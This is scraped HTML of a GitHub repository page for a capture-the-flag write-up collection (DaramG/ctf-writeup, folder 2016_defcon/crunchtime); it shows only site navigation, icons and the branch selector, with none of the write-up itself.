<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="59453325" data-scoped-search-url="/DaramG/ctf-writeup/search" data-owner-scoped-search-url="/users/DaramG/search" data-unscoped-search-url="/search" data-turbo="false" action="/DaramG/ctf-writeup/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="VtmxMDxhpAmncdPcgg6UQPtefseR7zdsoWKqcqDDobD05eqJMcVEffKzXqcOSChvXbLIJyAon2HLoegzvVJ7Ig==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> DaramG </span> <span>/</span> ctf-writeup
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>6</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/DaramG/ctf-writeup/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":59453325,"originating_url":"https://github.com/DaramG/ctf-writeup/tree/master/2016_defcon/crunchtime","user_id":null}}" data-hydro-click-hmac="f8b5d4603990c22e0b1235910fa6738c00533d559599f1e73aa97e30275640cf"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
